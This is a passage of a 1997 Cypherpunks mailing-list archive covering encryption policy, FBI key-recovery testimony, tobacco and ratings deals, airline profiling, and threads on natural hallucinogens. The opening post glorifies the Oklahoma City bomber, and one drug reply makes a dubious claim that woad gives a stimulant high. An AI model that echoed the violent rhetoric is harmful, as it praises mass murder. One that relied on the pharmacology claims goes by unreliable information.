>      The three leaders chuckled among themselves.

  What the fuck is wrong with the American people?
  Here are three world-leaders who openly acknowledge that the U.S. is
in the hands of gangsters who would be imprisoned for crimes against
the citizens and the country if justice truly prevailed in America. And
a single conversation, accidentally(?) revealed such as this one, is no
doubt just the smallest of samples of the stinking rot that lies at the
heart of a gang of criminals who are actively working to subvert the
constitution of the country in the interests of furthering their ever-
tightening, fascist grip on the reins of power.

  The same government which trained Timothy McVeigh to kill (and then
fucked over his Desert Storm compatriots when their service to their
country cost them their health) used their trained, "it's all there in
the press release" news dogs to turn their own penny-ante hired gun
into a "monster" symbolizing patriotic paramilitarists whose concern
lies with defending America at home rather than murdering foreigners
for "votes."
  Slipping in the polls because you murdered and fucked over too many
of your own citizens? Whack out a pile of worthless foreigners with
high-tech weapons that allow us to slaughter them wholesale without
losing any American lives. Watch your poll stats rise as Americans stand
and cheer the murder of defeated, retreating troops by aircraft missles
which weren't designed to take prisoners.
  Act surprised when 800 government law enforcement agents with the 
latest in technology claim to be unable to prevent men, women and 
children that were victims of a botched government assault from dying
a horrible, burning death. Act outraged when the chickens come home to
roost in Oklahoma City.

>      "In your country, in my country, all the politicians would be in
>      prison because they sell their votes," Chretien said.

  The reason they are not in prison here is because they are armed
and dangerous and have managed to disarm and disenfranchise their
citizens, making any resistance to government fascism a criminal 
offense.
  We get to vote for the criminal of our choice from among the
group of criminals that the other criminals pre-select for us
and whose campaigns they support with our stolen booty.
  If a "ringer" slips through, such as Kennedy, he is murdered
and the criminals make a great show of patriotic mourning. If
a no-name schill is foisted on the public as vice-president,like
Agnew, and will take power because the "gang leader" is getting busted,
remove him on the basis of what are "parking tickets" compared to the
crimes of most of your cronies.

  World-leaders recognize that the American citizen is just a stupid
'mark' who is getting fucked in a sophisticated con by men who have no
qualms about stealing senior citizen's life savings (Social Security)
stealing votes and elections (bribery, sabotage and power mongering),
and stealing the rights and freedoms of the citizens by lying about
the need to stop illegal drugs (which remain freely available no matter
how many of our rights and freedoms are stripped).

  I don't have a death-wish of any sort, but if I happen to get killed
by someone striking back at the enemies of freedom who are usurping the
constitution to tighten their criminal control over the citizens, then
I can think of far worse reasons to die.
  We lose 169 people every time a bean-counter decides it's cheaper to
pay off the families of the dead instead of spending an extra nickle
on every seat-belt installation in an automobile. We lose 169 people
every time some Senator decides we need a new weapons system instead
of new hospitals or medical services. We lose 169 people every time
the President decides to stomp on the citizen's rights instead of
giving them enough freedom to feel like they can face life without
numbing their senses to the stench around them with ever-increasing
amounts of narcotics.

  Gambling is a government-regulated criminal enterprise, now, and
Timothy McVeigh's ante was just to establish that the citizens are in
the game. I wouldn't be at all surprised to see some heavy betting 
taking place from all the players who choose to "sit in."
  American sheeple may regard McVeigh as a "monster," but world-leaders
make a strong case for viewing him as a "crime-fighter."

A. Cretin







From acclivity at interweb.be  Thu Jul 10 12:52:08 1997
From: acclivity at interweb.be (Marc Fourny)
Date: Fri, 11 Jul 1997 03:52:08 +0800
Subject: Acclivity - A global web of change management
Message-ID: <199707101726.TAA07502@cathedral.interweb.be>



acclivity
Apologies for cross-posting
Excuse me if this message does not concern you.

web site: http://www.acclivity-consultants.com
email:acclivity at interweb.be


Dear ,

I am pleased to announce the formation of Acclivity, an international network of independent management consulting practices in fourteen countries in Europe, North America and Africa, specialising in all aspects of corporate transformation.

For corporate executives managing change in the transformation of their business is an increasingly complex task.  How can they manage risk ? How are they to control change and still keep the initiative ? How much creativity should be involved in new projects ?  Will their staff fully participate and cooperate in the changes envisaged ?  Acclivity  has been set up to assist clients, many of whom are international companies and are transforming across national boundaries, to answer these and other questions: and at the same help them master all aspects of the transformation process so leading them towards a more competitive position and profitable future.

Acclivity differentiates itself from its competitors in that all the consultants in the network are senior experienced people whose role is to provide advice and guide the clientUs staff through the various stages of the transformation process. There are no junior consultants and analysts as we believe all the detailed work should be carried out by clientUs staff. All the consultants are used to working in different countries and carrying out cross border assignments.

Together, the Acclivity consultants provide the full range of methodologies used in change management and transformation. From their different backgrounds, they bring the full value of their professional and cultural skills as well as their competencies and creativity to help the client:

7 determine new value proposition for his target markets
7 reengineer his business
7 develop cross-functional organisations
7 transform his strategic and operational processes
7 open his operations to external partners - clients, suppliers and contractors
7 renew his innovation processes, awaken hidden talents, and enhance his creativity and knowhow
7 reshape the culture and values within his business
7 strengthen his human capital
7 restructure  his support  functions: human resources management, finance and accounting, and information systems and technology.

The distinctive added-value offered by our network lies not only in the mastery of these particular methodologies. An effective transformation also requires that the consultant provides assistance in all areas where the organisation has to be mobilised.

In order to secure long-lasting sustainable results each Acclivity assignment is composed of three modules:

7 we lead the executive team through the transformation journey. The use of organisational prototypes, for instance, minimises the business risks. We help management modify its modus operandi so as to provide the opportunity of involving the whole organisation in the change process
7 our own research, observation, and analysis of best practice cases are used as guidelines for the companies change efforts, from strategy definition to detailed implementation of the new organisation
7 finally, we train the change team to innovate, install and implement new structures and systems. In addition we develop a new project management capability which is particularly key to success when radical change is involved. 

I would welcome the opportunity therefore of discussing with you your own tranformation programme to see how we might be able to add value to your own resources.

Yours sincerely,

Marc Fourny
President

web site: http://www.acclivity-consultants.com
email:acclivity at interweb.be






From hugh at ecotone.xanadu.com  Fri Jul 11 03:59:44 1997
From: hugh at ecotone.xanadu.com (Hugh Daniel)
Date: Fri, 11 Jul 1997 03:59:44 -0700 (PDT)
Subject: MEETING: July SF Bay Area Meeting Saturday at Stanford
Message-ID: <199707111057.DAA05815@ecotone.xanadu.com>



What:		San Francisco Bay Aera Cypherpunks Phyical Meeting
Where:		Under the Oak Tree at Tressider Union, Stanford University
When:		Saturday July 12th, 1997

Agenda:
		HIP'97 Planing, Dave Del Torto
		Freeh's Statement before Congress, Group
		ECash update, Jeremey Barrett
		PGP Library 5 & PGP/MIME Updates, Dave Del Torto
		FreeS/WAN dryrun, Hugh Daniel
		What ever else comes to mind...

  We will be meeting under the Oak Tree that is inside the "U" shape
of Tresidder Union, the weather report looks good.  Bring your
Ricochet...
  Tresidder Union is a little (peninsula) west of the Stanford main
Quad, there is a parking lot just p-west of of the Union that you can
park in on weekends.  The best automotive access is from the west via
Junipero Serra Blvd. (also somtimes called Foothill Expressway, Santa
Cruz Ave & Alameda De Las Pulgus) into the 'back' of the Stanford
Campus, look it up on a map folks.  For some semi-useful maps try:
http://www.stanford.edu/home/visitors/maps.html
or for a zoomed in view to the right section of campus:
http://www.stanford.edu/home/map/stanford_zoom_map.html?209,284





From declan at pathfinder.com  Thu Jul 10 13:01:46 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 11 Jul 1997 04:01:46 +0800
Subject: Jim Bell reference
In-Reply-To: <199707091809.LAA02522@slack.lne.com>
Message-ID: 



This is correct. The Georgetown site says incorrectly that Bell did set up
a betting pool. Perhaps the authors will fix this now that it's been
brought to their attention.

-Declan


>> They cites a Netly News article by Declan McCullagh
>> (http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)
>>
>> Declan's article doesn't say, or even imply, that Bell actually
>> set up his AP betting pool.  The "database" authors apparently
>wanted
>> to make a point by making his crime seem to be real, and were
>willing
>> to stretch the truth to do so.
>


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From ericm at lne.com  Thu Jul 10 13:08:09 1997
From: ericm at lne.com (Eric Murray)
Date: Fri, 11 Jul 1997 04:08:09 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: <199707101959.MAA05736@slack.lne.com>



Tim May writes:
> 
> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

Ergot (Clavecps sp.), which grows on wheat, rye and other grasses.

> And there's that other type of fungus, the mushroom.

Psilocibe sp. (which grows in the new world)
and some members of the genus Amanita, found in europe and the new world.

The problem with many of these natural sources of hallucinogens
is that they contain other poisons- ergot alkaloid molecules
have an LSD molecule attached, but other parts of the alkaloid
cause gangrene and convulsions.  Hardly party material!

Psilocibe mushrooms usually cause vomiting.  Most Amanita species
have an lethal dosage which is uncomfortably close to the
effective dosage, not a good thing in a drug.  Amanita muscaria
however was used by the vikings to help induce their 'berserker'
state for battle.

The problem with these is that it's generally hard to seperate the
drugs from the poisons, to the point where if you have the knowledge
to do so you might as well just set up a factory to make the drugs
from cleaner and cheaper non-biological precursors.


> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

I don't see how that's really any different than marijuana- dope
is a weed, it's so easy to grow that retarded alcoholics can grow it.
And a different cultivar of the same species (hemp) is a plant that's
incredibly useful commercially.  Yet it's still illegal to posess any member
of the species (or related species like C. indica).  If some smart
biologist 'fixed' ergot to make nice clean LSD, it'd just be made
illegal to posess grain that's got a certain species of mold on it.

[..]

> Such "dangerous knowledge" will join bombmaking instructions in being added
> to Fineswine's law. Downloading of instructuctions for NC machine tools,
> too, if the instructions are for zip guns and even real guns.

Everything that's not compulsory is illegal.



-- 
Eric Murray  ericm at lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF






From gbroiles at netbox.com  Thu Jul 10 13:13:57 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 11 Jul 1997 04:13:57 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: <3.0.3.32.19970710130536.009059a0@mail.io.com>



At 11:24 AM 7/10/97 -0700, Tim May wrote:
>BTW, this was a topic of conversation several years ago in the nanotech
>discussion group I was in: home chemistry with instructions dowloaded from
>the Net. Sort of a "Click here to download manufacturing instructions for
>LSD."
>[...]
>Such "dangerous knowledge" will join bombmaking instructions in being added
>to Fineswine's law. Downloading of instructuctions for NC machine tools,
>too, if the instructions are for zip guns and even real guns.

And these technological developments will exacerbate the conflict between
the First Amendment and behavioral regulation which the Bernstein case has
already highlighted. "Informational liberty" and "behavioral liberty" are
becoming indistinguishable.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From root at nwdtc.com  Thu Jul 10 13:33:04 1997
From: root at nwdtc.com (Alan Olsen)
Date: Fri, 11 Jul 1997 04:33:04 +0800
Subject: FBI wants domestic crypto keys
Message-ID: <33C54698.C55@nwdtc.com>



http://www.news.com/News/Item/0,4,12317,00.html


FBI wants domestic crypto keys 
By Alex Lash
July 10, 1997, 12:45 p.m. PT 

After months on the fence, Federal Bureau of Investigation
director Louis Freeh is making it clear that controlling the
domestic use of encryption software is a greater priority than
limiting its export. 

"Law enforcement is more concerned about the significant and
growing threat to public safety and effective law enforcement
that would be caused by the proliferation and use within the
United States of a communications infrastructure that
supports strong encryption products but cannot support timely
law enforcement decryption," Freeh told the Senate Judiciary
Committee yesterday. 

The director's comments yesterday underline the conflict
within the administration on encryption policy and the
influence the security agencies have on that policy. Other
voices in the administration, including Vice President Al Gore
and an early draft of the White House's e-commerce white
paper, have long insisted that domestic use would remain
unregulated. 

In the hearing convened by committee chairman Orrin Hatch
(R-Utah), Freeh also expressed concern that pending Senate
legislation doesn't go far enough in giving law enforcement
access to encrypted electronic data within U.S. borders. 

"These legislative proposals still do not contain adequate
assurances that the impact on public safety and effective law
enforcement of the widespread availability of encryption will
be addressed," he told the committee. 

Freeh was referring specifically to Senate bill 909, which
mandates domestic key recovery--a technology that gives
access to a user's private keys--for all encryption products
purchased with federal money and for all federally funded
electronic networks. Security officials like Freeh argue that
inaccessible encryption will let criminals communicate on the
Internet without fear of being caught. 

The bill, sponsored by Sens. Bob Kerrey (D-Nebraska) and
John McCain (R-Arizona), would also require key recovery
for anyone within the United States using a
government-approved digital certificate. Digital certificates
are ID tags that verify the sender of a communication or
transaction as well as the integrity of the data within. 

"Registration and the use of registered agents and [digital
certificate] authorities are entirely voluntary," Kerrey told the
committee yesterday. 

Because digital certificates are considered necessary to spur
Net-based commerce, critics of the McCain-Kerrey bill argue
that a federal "stamp of approval" program for certificates
creates an environment of mistrust for those who choose not
to participate in the program. Such an environment is bad for
business, critics say, and will make the federal program and
the use of key recovery a de facto standard. 

The bill has already been approved by the Senate Commerce
Committee, and Judiciary might take it up for debate soon. The
bill has not yet been referred to the committee, however, and
no further hearings have been scheduled, according to the
committee press secretary Jeanne Lopatto. 

Opponents of McCain-Kerrey are already taking
unprecedented steps to state their case. The Electronic
Frontier Foundation, an online rights organization, has gone
beyond its usual Net-based advocacy to create a 60-second
radio spot. The commercial urges listeners to contact McCain
and complain about the bill. 

"We feel that if this bill passes it will have an extreme impact
to privacy for the American public in the next 100 years, and
the majority of people walking down the street will never
know what even happened," EFF executive director Lori Fena
told CNET's NEWS.COM. "We're preaching to the choir
already on the Net; it's more effective to reach people in their
cars." 

The radio ad is airing this week during rush-hour drive times
in San Francisco, New York, and Washington, D.C. The
organization will gauge the volume of response to the ad
before buying more air time, but Fena is encouraged by the
response so far. The nonprofit group has spent "in the low
thousands of dollars" on the advertisements, Fena added.






From mctaylor at mta.ca  Thu Jul 10 13:46:25 1997
From: mctaylor at mta.ca (Michael C Taylor)
Date: Fri, 11 Jul 1997 04:46:25 +0800
Subject: Jim Bell reference
In-Reply-To: 
Message-ID: 



On Thu, 10 Jul 1997 amp at pobox.com wrote:
> 
> Gee, suprise, suprise. D.Denning is behind anti-encryption (anti
> liberty) propaganda.
> 
> If you search the net for writings or speeches by Denning, and any
> government reports about encryption,, you will find that she is the
> source of most anti-encryption propaganda in the u.s..

Most of her academic research was before she became involved in government
policies. Since she is now in a position of trust with the government she
could be the cypherpunks friend rather than foe. It appears that the paper
on key recovery  penned by various well-respected 'cypherpunks' like
Blaze, Neumann, Rivest, Schiller, and Schneier (not everyone I know) has
indeed had an effect on her. 

The one major difference in Dr. Denning's point of view is that she has a
large degree of trust in LEA. Period. That is the difference
between Dr. Denning and the average cypherpunk. 

Denning believes that encryption will hinder law enforcement. It will, it
may already. The difference is that she 'sees' a way to prevent that while
maintaining privacy of the indiviual (from other indiviuals). This is true
and if the infrastructure could be built it, would work to a
limited degree. 

The evidence is weak, in an article from May of this year, Denning quotes
500 cases world-wide, but neglects to follow-up with which of these cases
were solved regardless; due to other evidence or because the suspect was
using crummy crypto. 

Denning doesn't seem too concern with lawless government access, access
beyond the scope, government tampering or forgery of information which are
possible with poor key escrow technologies.

Denning talks of unnamed test projects, she thinks finanical businesses do
deserve to be special under export regulations (or knows that they would
lean on the regulations to remove them), and knows enough about people to
know that there is no need to mandate 'key recovery,' businesses want to
buy into it.

At least Denning does not recomment domestic restrictions (she'd be out of
a job if so) and is willing to admit to a change of heart. 

Anyway everyone knows that celluar phones catch more criminals than any
other law enforcement tool (like hard work).

--
Michael C. Taylor  
Legalize mathematics






From frissell at panix.com  Thu Jul 10 14:01:55 1997
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 11 Jul 1997 05:01:55 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: <3.0.2.32.19970710165415.0362e7d0@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 11:24 AM 7/10/97 -0700, Tim May wrote:

>We are probably still several decades away from the mechanosynthesis form
>of nanotech, presumably less far away from biological forms.

But we are much closer to desktop fab stations for larger items.  You can 
already buy one to "print" 3-D parts from CAD files.  Good for model making 
but even good enough for other uses where "hard" hardness is not required.  
Pricey though.

>Such "dangerous knowledge" will join bombmaking instructions in being added
>to Fineswine's law. Downloading of instructuctions for NC machine tools,
>too, if the instructions are for zip guns and even real guns.

Course they haven't managed to ban "Submachine Guns for the Home Workshop" or 
compact "hobby" milling stations yet, have they.

DCF

"Use a lathe go to jail."
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM8VL8oVO4r4sgSPhAQHjhgQApsIpPUK+LzK3UZah6KMjmkBR/VIcEx5l
7WNq9R8EbjCl9QnPNUpF1f/61LusE43IQ8+SKNfG41Y3PbO1WGcdIj0vLAgPaNWh
KceGTIfa1zY8n2D1+/AR9D8lHd+3BlvtIXdx1JtOLWZedeBBOxMMo6TyWlRIbdXa
v3/oQ/1PzdI=
=ahJ5
-----END PGP SIGNATURE-----






From nobody at www.video-collage.com  Thu Jul 10 14:32:45 1997
From: nobody at www.video-collage.com (Unprivileged user)
Date: Fri, 11 Jul 1997 05:32:45 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: 
Message-ID: <97Jul10.172448edt.32257@brickwall.ceddec.com>



On Thu, 10 Jul 1997, Tim May wrote:

> 1. The "tobacco agreement." Supposedly a deal involving the transfer of
> 2. The "voluntary ratings" agreement being announced today by Al Gore and
> 
> The issue, it seems to me, is that ordinary concepts of illegality and
> civil liability are being swept aside in favor of these huge "deals" to
> reduce liability in exchange for various actions. Well, who is bound by
> these deals?

I think that in the first case it is a "template" for legislative action,
so that if congress passes it, it binds the states and the companies.
Otherwise you have the lawyers and lobbyists for both sides getting all
the money.

The second case is more of an industry standards type argument - If Gore
was not there, then instead of one network saying "moderately nasty
language" and a second flashing L3 on the screen, everone will use the
same method, something like the SAE standardizes on tool sizes.
Politicians gather around because it makes it look like they are doing
something useful.

> (Caveat: My personal and libertarian view is that lawsuits against
> cigarette companies are wrong and should not be supported in a free
> society. And lawsuits by various states to "recover health care costs" are
> especially bogus. By this logic, McDonald's could be sued by California
> because California paid out more health care benefits to meat-eaters than
> it did to vegetarians. Utterly bogus.)

I think people have the right to sue, but no tobacco company can be found
guilty of witholding information (the warning on the cigarette pack was by
statute adequate notice - in the same law that required the notices).

One of the problems is that such agreements specifically limit my right to
use the courts to address torts - which should be for the court to decide
the validity.  Our legal system needs other reforms (e.g. loser pays), but
eliminating all civil courts isn't the way to correct it.

If states don't like paying medicaid and medicare to smokers, they are
free to pass laws (or have congress pass laws) denying public health care
to anyone who has smoked in the last X years.  Add drug and/or alcohol use
and our welfare rolls would nearly disappear.  I don't think anyone has
any more right to smoke and collect welfare than drink and drive.  (I go
further, but this is a proper subset of my views).

> Anyway, the free speech aspects of these deals are also worrisome. The
> "voluntary restrictions" on advertising, for example. Would the
> aforementioned "Tim's Tobacco Company," not a party to this Grand Deal, be
> somehow bound by a deal wherein it could not sponsor sporting events? Or
> advertise? Or even speak out against the deal?

As when the banks encourage you to "Buy Savings Bonds"?  Tim May could
probably say whatever he wanted in any place they would accept the ad, but
commercial speech seems to be more limited.  It would depend if the
contract was passed as a bill.

> These huge mega-deals are a crummy way to interpret the U.S. Constitution.
> I fear the "Grand Compromise" deal that the telecom and crypto companies
> are being drawn into.

The problem is they are bills masquerading as contracts.  The industry
assumes that congress will do the wrong thing if they don't act to get
something first.  Normally congress doesn't revisit an issue after
something is done and everyone forgets about it, and no one ever reads the
fine print.

The larger question is whether I, as a US Citizen, can write and publish a
program under the first ammendment, and could US Citizens use such a
program, if there were any crypto agreement in place or law passed
covering programs sold by US companies.  I don't think code-as-speech is
as threatened as code-as-product.  At least not yet.

--- reply to tzeruch - at - ceddec - dot - com ---






From sunder at brainlink.com  Thu Jul 10 15:25:42 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 11 Jul 1997 06:25:42 +0800
Subject: Recreational pharmaceuticals by genetic engineering (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 10 Jul 1997 18:09:27 -0400 (EDT)
From: "Eileen Tronolone (Pathfinder)" 
To: Ray Arachelian 
Subject: Re: Recreational pharmaceuticals by genetic engineering (fwd)

Also Sprach Ray Arachelian:

> Psilocibe mushrooms usually cause vomiting.  Most Amanita species
> have an lethal dosage which is uncomfortably close to the
> effective dosage, not a good thing in a drug.  Amanita muscaria
> however was used by the vikings to help induce their 'berserker'
> state for battle.

Actually - and you can forward this to relevant parties - woad, the
infamous herb used by the Celtic warrior in the form of blue body 
paint, when mixed with urine (which is how they applied it to their
bodies) causes a reaction very similar to cocaine and most amphetamines.
The reduction in pain that is felt from wounds and the ecstacy brought
on can easily be confused with a typical beserker reaction. The term
beserk originates from "bare sark" - the beserkers wore little if no
armor and the Celts are particularily famous for going into battle
"in the altogether" except for the blue war-paint. The feeling of
invulnerability that comes from the woad "high" led to this custom.

Other semi-legal although dangerous "highs" can result from the 
ingestion of too much nutmeg or jasmine, both hallucenogens. 

-- 
Eileen Tronolone     | eileent at pathfinder.com | Do not           CD  c
System Administrator | redsonja at giti.com      | taunt --------P===\==/
Commerce Team        | gotagun at liii.com       | happy fun         /_\__
Time Inc. New Media  | 212-522-9121           | fencer!             _\ \






From swire.1 at osu.edu  Thu Jul 10 15:42:39 1997
From: swire.1 at osu.edu (Peter Swire)
Date: Fri, 11 Jul 1997 06:42:39 +0800
Subject: The Recent Trend in "Collective Contracts"
Message-ID: <199707102236.SAA07074@mail3.uts.ohio-state.edu>



At 09:29 AM 7/10/97 -0700, Tim May wrote:

>I'm not a lawyer, but I am interested in the various ramifications--and the
>constitutionality--of recent "sweeping contracts" between vendors,
>lawmakers, consumers, etc.
>
>Two recent example:
>
>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>$360 billion from some number of tobacco companies in exchange for dropping
>of liability suits, immunity from future claims, voluntary restrictions (!)
>on advertising, etc. (And the "etc." is especially complicated in this huge
>case.)

        So far as I know, the agreement has no legal effect until and unless
a bill is enacted in Congress. Once a bill is enacted, there can obviously
be far-reaching ramifications.  For instance, an individual's right to sue
in tort can be cut off.  Punitive damages can be abolished for the defined
class of suits, etc.
        If such a bill is enacted, various groups would likely sue on the
basis that it is unconstitutional.  That's what happened with CDA -- the
indecency provisions first became law, and then were overturned in the courts.
>
>2. The "voluntary ratings" agreement being announced today by Al Gore and
>some of the television networks. (Earlier "voluntary agreements" were
>implemented, but, according to supporters of censorship, "failed." Hence
>the new push for newer voluntary restrictions.)

        The big legal fight on ratings is whether any "state action" takes
place.  The First Amendment governs efforts by a federal or state government
to restrict speech.  If private companies "voluntarily" agree to do
something, the First Amendment simply does not apply.  But if the coercive
power of the state forces them to do the same thing, then the courts can get
involved under the First Amendment.
        Here, if the government is too explicit that it will ban certain
speech unless the networks ban it, then a court might find that the
government in fact is involved in an impermissible way.

>The issue, it seems to me, is that ordinary concepts of illegality and
>civil liability are being swept aside in favor of these huge "deals" to
>reduce liability in exchange for various actions. Well, who is bound by
>these deals?
>
>If "Tim's Tobacco Company" starts up next year, after this deal is
>"signed," is his company bound by this deal? If Tim the Smoker develops
>lung cancer, is he blocked from suing?
>

       The basic concepts are pretty clear.  A contract among various
parties binds that group of parties.  A statute of general applicability can
regulate everyone in the jurisdiction.
       The existing tobacco companies can't bind "Tim's Tobacco Company" in
their contract.  However, if they support a bill in Congress, and the
statute is enacted, then their actions might indeed play a role in
restricting your actions later on.

        Peter

Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1 at osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)






From shamrock at netcom.com  Thu Jul 10 15:58:32 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 11 Jul 1997 06:58:32 +0800
Subject: More PGP volunteers needed
In-Reply-To: 
Message-ID: 



On Thu, 10 Jul 1997, Mark Grant wrote:

> Well, when I mailed Stale about it a week or two ago he said he already
> had over seventy volunteers. The problem may just be latency; my hundred
> pages took about twelve hours of mind-numbing work to correct (mostly
> spent getting the right number and combination of spaces and tabs in
> strings), so while I was able to do it in two days I could certainly
> understand some people taking a week or more to finish theirs. Plus, of
> course, the inevitable delays from sending the pages out by snail-mail. 

I noticed that Stale removed the call for volunteers from his page. You 
may be correct. The pages are in the pipeline.

--Lucky






From root at nwdtc.com  Thu Jul 10 17:23:09 1997
From: root at nwdtc.com (Alan Olsen)
Date: Fri, 11 Jul 1997 08:23:09 +0800
Subject: Airlines to start profiling, bag matching
Message-ID: <33C57D63.422E@nwdtc.com>



http://www.usatoday.com/news/washdc/ncs17.htm



07/10/97 - 08:26 AM ET

Airlines to start profiling, bag matching

New security measures for domestic flights, combining limited bag
matching with a controversial computerized profiling system, will be
operating by Dec. 31, Federal
Aviation Administration officials said Wednesday. 

But the proposal, scaled down from what a presidential commission
recommended in September, immediately drew fire from airline safety and
civil rights proponents. 

The FAA will require that "first, passengers are profiled and selected
bags are searched or matched," said Bruce Butterworth, director of civil
aviation security
operations, in an interview with USA TODAY. 

Airlines are expected to match bags with about 5% of fliers. A
computerized profiling system will identify those who might pose a
security risk. Example: passengers
who buy tickets with cash. 

If someone matches the profile, their bags would not be stowed until
they actually board the plane. 

Total bag matching is routine on international flights. 

But American Airlines executive vice president Robert Baker says he
doubts that the Dec. 31 deadline will be met because airlines are still
developing a profiling
system. "We'll be lucky to have this in place by next year," he says. 

The FAA says it was encouraged that a test of bag matching in May at 12
U.S. airports didn't cause massive delays. Proponents of 100% bag
matching say the FAA
caved into the airlines' demands. 

"This weakens the whole idea of bag matching. It's about time the FAA
decides whether it's on the side of profits for the airlines or on the
side of safety," says
Susan Cohen, whose daughter was killed by the terrorist bombing of Pan
Am Flight 103 in 1988. 

The presidential commission had proposed that every passenger be matched
with every bag on all domestic flights. 

But after the airlines objected, fearing massive delays, it agreed to a
combination of profiling and limited matching. 

Others say profiling may discriminate against some ethnic groups.
"Passengers should not have to give up essential liberties just to get
on planes," says the ACLU's
Gregory Nojeim. 

By Donna Rosato, USA TODAY






From ddt at pgp.com  Thu Jul 10 17:27:39 1997
From: ddt at pgp.com (Dave Del Torto)
Date: Fri, 11 Jul 1997 08:27:39 +0800
Subject: [NEWS] Computer Coding Could Cripple Cops, FBI Warns
Message-ID: 



Computer Coding Could Cripple Cops, FBI Warns

 By Aaron Pressman

WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
his sternest warning yet that widespread use of computer encoding
technology could wreak havoc on crime-fighting efforts.

But computer industry participants warned that U.S. restrictions on
encryption products, which scramble information and render it unreadable
without a password or software "key," would merely boost sales by foreign
companies.

Freeh urged Congress to promote the use of a type of encryption that allows
law enforcement agents to crack the codes by getting access to the software
keys.

"Law enforcement is in unanimous agreement that the widespread use of
robust non-key recovery encryption ultimately will devastate our ability to
fight crime and prevent terrorism," the FBI director testified before the
Senate Judiciary Committee.

Freeh has spoken out numerous times against the unrestricted export of
strong encryption products, but his remarks Wednesday focused mainly on the
threat to law enforcement efforts within the United States.

Current laws impose tight controls on encryption exports but domestic use
is completely unregulated and some scholars believe restrictions on U.S.
citizens might be unconstitutional.

Much of Wednesday's hearing rehashed well-worn arguments in the encryption
debate. The software industry has backed legislation to relax export
controls and promote the use of encryption as a means of securing
electronic commerce and global communications over the Internet. Freeh and
other members of the Clinton administration oppose those policies.

Sen. Patrick Leahy, who is co-sponsor of a bill to dramatically relax
export controls, argued that use of encryption could help prevent crimes.
"Taking affirmative steps to use strong encryption can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, and reducing the vulnerability of electronic
information to online snoops and breaches of privacy," the Vermont Democrat
said.

Raymond Ozzie, author of the popular Lotus Notes messaging software, said
the private sector's experience with key recovery schemes revealed
significant problems. "All key management systems are inherently subject to
failure of one sort or another," Ozzie, chairman of IBM Corp. 
subsidiary Iris Associates, testified. "Mandated key management and key
recovery methods remove diversity and centralize our vulnerabilities," he
said.

"This is likely to increase crime," Ozzie said. In addition to the Leahy
measure, the Senate is also considering a bill sponsored by Sen. John
McCain, Republican of Arizona, and Sen. Bob Kerrey, Democrat of Nebraska.
That measure would continue to strictly limit export of encryption without
key recovery and require all computer networks used by the federal
government or funded in part by the government to include key recovery.

The Kerrey-McCain bill faces substantial opposition in the Senate, said
Marc Rotenberg, director of the Electronic Privacy Information Center, a
Washington-based cyber civil rights group.

"I don't think it has clear sailing on the Senate side," he said. An
industry-backed bill in the House similiar to the Leahy approach has strong
support and is expected to be approved by the International Relations
Committee there soon, Rotenberg added.

Wednesday, 9 July 1997 17:45:40
RTRS [nN09285032]







From root at nwdtc.com  Thu Jul 10 17:36:32 1997
From: root at nwdtc.com (Alan Olsen)
Date: Fri, 11 Jul 1997 08:36:32 +0800
Subject: A cheery note from USA Today
Message-ID: <33C57FF8.249B@nwdtc.com>



http://www.usatoday.com/usafront.htm

This from their little happy factiod section...

"Since FDA approval of Prozac in 1987, the number of
Americans taking the anti-depressant has grown to 20
million."

And considering the side-effects of Prozac, it is any wonder we live in
a sexually frustrated nation?






From jya at pipeline.com  Thu Jul 10 18:51:18 1997
From: jya at pipeline.com (John Young)
Date: Fri, 11 Jul 1997 09:51:18 +0800
Subject: Hacker cracks ESPN
Message-ID: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>



Lynn Harrison wrote:

>Starwave is warning customers about an "intruder" who took credit card
>numbers from the ESPN and NBA Web sites and then sent messages to the card
>owners about the alleged security flaws. Will the security breach on the
>popular sports sites affect emerging e-commerce efforts?

Is this the same story as the one in The Wall Street Journal today
about Phiber Optic's "accidentally" sending worldwide a security
test that automatically returns passwords stored on supposedly
secure systems?

Phiber claims he did not know the test would generate a flood of
passwords to his e-mail address: from corps, mils, and govs. 
Says he's so sorry, especially because he's still doing
community service.

Phiber's employer refused to name the computer corp that installed the
secure system Phiber was testing. However, experts interviewed said 
the password snarf feature is, ahem, well-known to experts, and that 
the only security worth trusting is the one you build and run yourself 
and test frequently and still makes you lay awake at night shivering in 
doubt fear and uncertainty -- like guilty-parental senators, TLA directors, 
and all the world's bearers of the public trust and such fundy druggies.







From snow at smoke.suba.com  Thu Jul 10 20:04:19 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 11 Jul 1997 11:04:19 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: <199707110253.VAA02731@smoke.suba.com>



> I know this is off-topic for the list...
